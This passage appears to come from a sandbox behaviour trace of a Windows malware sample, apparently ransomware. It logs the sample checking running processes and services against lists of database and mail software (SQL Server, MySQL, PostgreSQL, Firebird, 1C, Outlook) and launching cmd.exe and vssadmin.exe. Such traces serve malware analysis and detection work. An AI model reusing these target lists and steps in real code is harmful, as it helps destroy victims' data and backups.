(lpString1="1c8.exe", lpString2="System") returned -1 [0203.344] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0203.344] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0203.344] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0203.344] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0203.344] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0203.344] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0203.344] Process32NextW (in: hSnapshot=0x168, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0203.345] lstrlenW (lpString="smss.exe") returned 8 [0203.346] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0203.346] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0203.346] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0203.346] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0203.346] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0203.346] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0203.346] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0203.346] Process32NextW (in: hSnapshot=0x168, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0203.347] lstrlenW (lpString="csrss.exe") returned 9 [0203.347] Process32NextW (in: hSnapshot=0x168, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0203.348] lstrlenW (lpString="wininit.exe") returned 11 [0203.348] Process32NextW (in: hSnapshot=0x168, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0203.349] lstrlenW (lpString="csrss.exe") returned 9 [0203.349] Process32NextW (in: hSnapshot=0x168, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0203.350] lstrlenW (lpString="winlogon.exe") returned 12 [0203.350] Process32NextW (in: hSnapshot=0x168, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0203.351] lstrlenW (lpString="services.exe") returned 12 [0203.351] Process32NextW (in: hSnapshot=0x168, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0203.352] lstrlenW (lpString="lsass.exe") returned 9 [0203.353] Process32NextW (in: hSnapshot=0x168, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0203.353] lstrlenW (lpString="lsm.exe") returned 7 [0203.354] Process32NextW (in: hSnapshot=0x168, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0203.354] lstrlenW (lpString="svchost.exe") returned 11 [0203.354] Process32NextW (in: hSnapshot=0x168, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0203.355] lstrlenW (lpString="svchost.exe") returned 11 [0203.355] Process32NextW (in: hSnapshot=0x168, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0203.356] lstrlenW (lpString="svchost.exe") returned 11 [0203.356] Process32NextW (in: hSnapshot=0x168, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0203.357] lstrlenW (lpString="svchost.exe") returned 11 [0203.357] Process32NextW (in: hSnapshot=0x168, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0203.359] lstrlenW (lpString="svchost.exe") returned 11 [0203.359] Process32NextW (in: hSnapshot=0x168, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0203.360] lstrlenW (lpString="audiodg.exe") returned 11 [0203.360] Process32NextW (in: hSnapshot=0x168, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0203.361] lstrlenW (lpString="svchost.exe") returned 11 [0203.361] Process32NextW (in: hSnapshot=0x168, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0203.362] lstrlenW (lpString="svchost.exe") returned 11 [0203.362] Process32NextW (in: hSnapshot=0x168, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0203.363] lstrlenW (lpString="dwm.exe") returned 7 [0203.363] Process32NextW (in: hSnapshot=0x168, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0203.363] lstrlenW (lpString="explorer.exe") returned 12 [0203.364] Process32NextW (in: hSnapshot=0x168, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0203.365] lstrlenW (lpString="spoolsv.exe") returned 11 [0203.365] Process32NextW (in: hSnapshot=0x168, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0203.366] lstrlenW (lpString="taskhost.exe") returned 12 [0203.366] Process32NextW (in: hSnapshot=0x168, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0204.920] lstrlenW (lpString="svchost.exe") returned 11 [0204.920] Process32NextW (in: hSnapshot=0x168, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0204.921] lstrlenW (lpString="taskeng.exe") returned 11 [0204.921] Process32NextW (in: hSnapshot=0x168, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0204.922] lstrlenW (lpString="taskhost.exe") returned 12 [0204.922] Process32NextW (in: hSnapshot=0x168, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x488, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="mineralshopefullyelectronics.exe")) returned 1 [0204.923] lstrlenW (lpString="mineralshopefullyelectronics.exe") returned 32 [0204.924] Process32NextW (in: hSnapshot=0x168, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="ambientmanufacturers.exe")) returned 1 [0204.925] lstrlenW (lpString="ambientmanufacturers.exe") returned 24 [0204.925] Process32NextW (in: hSnapshot=0x168, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="secretaryscientist.exe")) returned 1 [0204.926] lstrlenW (lpString="secretaryscientist.exe") returned 22 [0204.926] Process32NextW (in: hSnapshot=0x168, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x40c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="musicians_tones_dramatic.exe")) returned 1 [0204.927] lstrlenW (lpString="musicians_tones_dramatic.exe") returned 28 [0204.927] Process32NextW (in: hSnapshot=0x168, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x794, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="always_winds.exe")) returned 1 [0204.928] lstrlenW (lpString="always_winds.exe") returned 16 [0204.928] Process32NextW (in: hSnapshot=0x168, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="heatednetworkingaddress.exe")) returned 1 [0204.929] lstrlenW (lpString="heatednetworkingaddress.exe") returned 27 [0204.929] Process32NextW (in: hSnapshot=0x168, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="complexity forward jo.exe")) returned 1 [0204.930] lstrlenW (lpString="complexity forward jo.exe") returned 25 [0204.930] Process32NextW (in: hSnapshot=0x168, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="allow_internship_stands.exe")) returned 1 [0204.932] lstrlenW (lpString="allow_internship_stands.exe") returned 27 [0204.932] Process32NextW (in: hSnapshot=0x168, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="alienwed.exe")) returned 1 [0204.933] lstrlenW (lpString="alienwed.exe") returned 12 [0204.933] Process32NextW (in: hSnapshot=0x168, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="decent-wind-tuition.exe")) returned 1 [0204.934] lstrlenW (lpString="decent-wind-tuition.exe") returned 23 [0204.934] Process32NextW (in: hSnapshot=0x168, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="warriorpayroll.exe")) returned 1 [0204.935] lstrlenW (lpString="warriorpayroll.exe") returned 18 [0204.935] Process32NextW (in: hSnapshot=0x168, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x59c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="mp beginners.exe")) returned 1 [0204.936] lstrlenW (lpString="mp beginners.exe") returned 16 [0204.936] Process32NextW (in: hSnapshot=0x168, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="theorem mo ol.exe")) returned 1 [0204.937] lstrlenW (lpString="theorem mo ol.exe") returned 17 [0204.937] Process32NextW (in: hSnapshot=0x168, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="proposition-photos-juvenile.exe")) returned 1 [0204.938] lstrlenW (lpString="proposition-photos-juvenile.exe") returned 31 [0204.939] Process32NextW (in: hSnapshot=0x168, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="harassment.exe")) returned 1 [0204.940] lstrlenW (lpString="harassment.exe") returned 14 [0204.940] Process32NextW (in: hSnapshot=0x168, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="francis-communication.exe")) returned 1 [0204.941] lstrlenW (lpString="francis-communication.exe") returned 25 [0204.941] Process32NextW (in: hSnapshot=0x168, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="gccinformational.exe")) returned 1 [0204.942] lstrlenW (lpString="gccinformational.exe") returned 20 [0204.942] Process32NextW (in: hSnapshot=0x168, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="diploma.exe")) returned 1 [0204.944] lstrlenW (lpString="diploma.exe") returned 11 [0204.944] Process32NextW (in: hSnapshot=0x168, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x128, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="screenshots-mistress.exe")) returned 1 [0204.945] lstrlenW (lpString="screenshots-mistress.exe") returned 24 [0204.945] Process32NextW (in: hSnapshot=0x168, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x810, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0204.946] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0204.946] Process32NextW (in: hSnapshot=0x168, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0204.947] lstrlenW (lpString="svchost.exe") returned 11 [0204.947] Process32NextW (in: hSnapshot=0x168, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x928, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0204.948] lstrlenW (lpString="sppsvc.exe") returned 10 [0204.948] Process32NextW (in: hSnapshot=0x168, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x940, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0204.949] lstrlenW (lpString="svchost.exe") returned 11 [0204.949] Process32NextW (in: hSnapshot=0x168, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0204.950] lstrlenW (lpString="dllhost.exe") returned 11 [0204.950] Process32NextW (in: hSnapshot=0x168, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="qnuriy.exe")) returned 1 [0204.951] lstrlenW (lpString="qnuriy.exe") returned 10 [0204.951] Process32NextW (in: hSnapshot=0x168, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xb5c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0204.952] lstrlenW (lpString="cmd.exe") returned 7 [0204.952] Process32NextW (in: hSnapshot=0x168, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0204.953] lstrlenW (lpString="conhost.exe") returned 11 [0204.953] Process32NextW (in: hSnapshot=0x168, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbcc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xb70, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0204.954] lstrlenW (lpString="vssadmin.exe") returned 12 [0204.954] Process32NextW (in: hSnapshot=0x168, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbcc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xb70, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 0 [0204.955] CloseHandle (hObject=0x168) returned 1 [0204.956] Sleep (dwMilliseconds=0x1f4) [0205.961] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x570010 [0205.963] EnumServicesStatusExW (in: hSCManager=0x570010, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x229ff44, lpServicesReturned=0x229ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x229ff44, lpServicesReturned=0x229ff5c, lpResumeHandle=0x0) returned 0 [0205.963] GetLastError () returned 0xea [0205.963] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x134c) returned 0x3f06078 [0205.964] EnumServicesStatusExW (in: hSCManager=0x570010, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x3f06078, cbBufSize=0x134c, pcbBytesNeeded=0x229ff44, lpServicesReturned=0x229ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x3f06078, pcbBytesNeeded=0x229ff44, lpServicesReturned=0x229ff5c, lpResumeHandle=0x0) returned 1 [0205.965] CloseServiceHandle (hSCObject=0x570010) returned 1 [0205.965] lstrlenW (lpString="Appinfo") returned 7 [0205.965] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0205.965] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0205.965] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0205.965] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0205.965] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0205.965] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0205.965] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0205.965] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0205.965] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0205.965] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0205.965] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0205.965] lstrlenW (lpString="AudioSrv") returned 8 [0205.965] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0205.965] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0205.965] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0205.965] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0205.965] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0205.965] lstrlenW (lpString="BFE") returned 3 [0205.965] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0205.965] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0205.966] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0205.966] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0205.966] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0205.966] lstrlenW (lpString="CryptSvc") returned 8 [0205.966] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0205.966] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0205.966] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0205.966] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0205.966] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0205.966] lstrlenW (lpString="CscService") returned 10 [0205.966] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0205.966] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0205.966] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0205.966] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0205.966] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0205.966] lstrlenW (lpString="DcomLaunch") returned 10 [0205.966] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0205.966] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0205.966] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0205.966] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0205.966] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0205.966] lstrlenW (lpString="Dhcp") returned 4 [0205.966] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0205.966] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0205.966] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0205.966] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0205.966] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0205.966] lstrlenW (lpString="Dnscache") returned 8 [0205.966] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0205.966] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0205.967] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0205.967] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0205.967] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0205.967] lstrlenW (lpString="DPS") returned 3 [0205.967] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0205.967] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0205.967] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0205.967] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0205.967] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0205.967] lstrlenW (lpString="eventlog") returned 8 [0205.969] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0205.969] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0205.969] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0205.969] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0205.969] lstrcmpiW 